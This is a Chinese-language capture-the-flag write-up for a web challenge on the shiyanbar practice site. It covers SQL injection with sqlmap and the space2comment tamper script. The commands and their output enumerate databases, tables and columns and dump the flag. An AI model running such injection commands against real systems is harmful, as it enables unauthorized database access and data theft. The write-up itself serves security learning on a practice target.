http://ctf5.shiyanbar.com/web/index_2.php
一开始我们简单的来一下输入 1'
提示 语法错误 但并没有过滤 '
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ''1''' at line
过滤了空格
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment --dbs
得到结果
available databases [3]:
[*] information_schema
[*] test
[*] web1
很明显。。这是跟第一题一样样的
next
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 --table
结果如下
Database: web1
[2 tables]
+-------+
| flag |
| web_1 |
+-------+
next
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 -T flag --columns
Database: web1
Table: flag
[2 columns]
+--------+----------+
| Column | Type |
+--------+----------+
| flag | char(30) |
| id | int(4) |
我们指定显示flag的字段内容
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 -T flag -C flag --dump
Database: web1
Table: flag
[1 entry]
+----------------------------+
| flag |
+----------------------------+
| flag{Y0u_@r3_5O_dAmn_90Od} |
+----------------------------+
总结
在这里面用到的方法内容都差不多
只要多用tamper的脚本多尝试就可以了